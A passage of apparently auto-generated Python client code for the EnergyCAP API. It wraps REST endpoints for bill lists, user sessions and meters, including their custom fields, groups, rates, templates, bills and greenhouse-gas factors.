:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_list_share_visibility.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ToggleVisible')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ListCreateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_list_share_visibility.metadata = {'url': '/api/v3/list/{listId}/visible'}
def bill_list_custom_action(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom bill action on a bill list.
:param list_id: The bill list against which all of its bills will have
the custom action performed
:type list_id: int
:param body:
:type body: ~energycap.sdk.models.ListActionCustom
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_list_custom_action.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionCustom')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_list_custom_action.metadata = {'url': '/api/v3/list/{listId}/customAction'}
def reverse_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Reverses all bills on a bill list.
:param list_id: The bill list that all bills will be reversed on
:type list_id: int
:param body: Batch settings for the reversed bill. If not provided,
bills will be placed in the currently open batch.
:type body: ~energycap.sdk.models.ListActionReverse
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reverse_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionReverse')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
reverse_bill_list.metadata = {'url': '/api/v3/list/{listId}/reverse'}
def set_bill_list_accrual_exclusion(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Excludes or undoes exclusion of bills from accruals.
:param list_id: The list whose bills will be excluded or have
exclusion undone
:type list_id: int
:param body: Indicates whether or not the provided list should be
excluded from accruals or should have exclusion undone
:type body: ~energycap.sdk.models.ListActionAccrualExclusion
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_bill_list_accrual_exclusion.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionAccrualExclusion')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_bill_list_accrual_exclusion.metadata = {'url': '/api/v3/list/{listId}/accrualExclusion'}
def distribute_account_charges_to_meters_for_bills_in_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""For each bill in the provided list which has account-level charges,
distribute these account charges amongst the meters on the bill.
This is done proportionally by meter use or cost, depending on the
split basis.
Maximum of 10000 bills can be processed at one time.
:param list_id: ID for the list containing bills for which account
charges will be distributed to meters
:type list_id: int
:param body: Distribution information
:type body: ~energycap.sdk.models.DistributeAccountChargesBase
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.distribute_account_charges_to_meters_for_bills_in_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DistributeAccountChargesBase')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
distribute_account_charges_to_meters_for_bills_in_list.metadata = {'url': '/api/v202104/list/{listId}/distributeAccountCharges'}
def upgrade(
self, custom_headers=None, raw=False, **operation_config):
"""Runs all applicable application upgrades.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.upgrade.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
upgrade.metadata = {'url': '/api/v3/me/upgrade'}
def me_method(
self, custom_headers=None, raw=False, **operation_config):
"""Initial session starting point. Support authorization via a api key,
bearer token, or session cookie.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Me or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Me or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.me_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Me', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
me_method.metadata = {'url': '/api/v3/me'}
def update_me(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: ~energycap.sdk.models.MeRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Me or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Me or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_me.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Me', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_me.metadata = {'url': '/api/v3/me'}
def create_meter(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a meter.
:param body: Data representing the meter being created
:type body: ~energycap.sdk.models.MeterCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_meter.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_meter.metadata = {'url': '/api/v3/meter'}
def get_meters(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all meters.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meters.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meters.metadata = {'url': '/api/v3/meter'}
def get_meter(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one meter.
:param meter_id: The meter identifier for the meter being retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter.metadata = {'url': '/api/v3/meter/{meterId}'}
def edit_meter(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a meter.
:param meter_id: The meter identifier for the meter being edited
:type meter_id: int
:param body: Data representing the meter being edited
:type body: ~energycap.sdk.models.MeterEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter.metadata = {'url': '/api/v3/meter/{meterId}'}
def delete_meter(
self, meter_id, delete_bills=None, custom_headers=None, raw=False, **operation_config):
"""Deletes a meter.
:param meter_id: The identifier for the meter being deleted
:type meter_id: int
:param delete_bills: Should this cascade to delete any bills
associated with this meter
:type delete_bills: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_meter.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if delete_bills is not None:
query_parameters['deleteBills'] = self._serialize.query("delete_bills", delete_bills, 'bool')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_meter.metadata = {'url': '/api/v3/meter/{meterId}'}
def edit_meter_ud_fs(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits user defined field / custom field values for a particular meter.
:param meter_id: The identifier for the meter
:type meter_id: int
:param body: Data representing the meter user defined fields / custom
fields being edited
:type body: list[~energycap.sdk.models.UDFValue]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_ud_fs.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFValue]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_ud_fs.metadata = {'url': '/api/v3/meter/{meterId}/udf'}
def get_meter_udfs(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for a particular
meter.
:param meter_id: The meter identifier for which user defined field /
custom field values are being retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_udfs.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_udfs.metadata = {'url': '/api/v3/meter/{meterId}/udf'}
def get_meters_udfs(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for all meters.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterUDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meters_udfs.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterUDFResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meters_udfs.metadata = {'url': '/api/v3/meter/udf'}
def get_meter_groups(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all Meter Groups for a particular meter.
:param meter_id: The meter identifier for which group values are being
retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_groups.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_groups.metadata = {'url': '/api/v3/meter/{meterId}/group'}
def edit_meter_group_membership(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a meter's group memberships.
Note that all groups a meter should belong to must be passed in.
Passing in one group means that the meter will belong to one group
only,
even if it previously belonged to several.
Only manual groups assignments can be changed; auto groups are
unaffected.
:param meter_id: The meter identifier whose group memberships are
being edited
:type meter_id: int
:param body: The groups the meter will belong to
:type body: list[~energycap.sdk.models.MeterGroupMember]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_group_membership.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[MeterGroupMember]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_group_membership.metadata = {'url': '/api/v3/meter/{meterId}/group'}
def get_meter_rates(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all rates for a particular meter.
:param meter_id: The meter identifier for which rate values are being
retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterRateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_rates.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterRateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_rates.metadata = {'url': '/api/v3/meter/{meterId}/rate'}
def get_meter_templates(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all templates for a particular meter.
:param meter_id: The meter identifier for which template values are
being retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterTemplateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_templates.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterTemplateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_templates.metadata = {'url': '/api/v3/meter/{meterId}/template'}
def get_meter_bills(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all bills for a particular meter.
:param meter_id: The meter identifier for which bill values are being
retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterBillResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_bills.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterBillResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_bills.metadata = {'url': '/api/v3/meter/{meterId}/bill'}
def get_ghg_meter_factors(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get the ghg meter factors.
:param meter_id: The meter identifier for ghg factors are being
retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GHGFactorsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_meter_factors.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
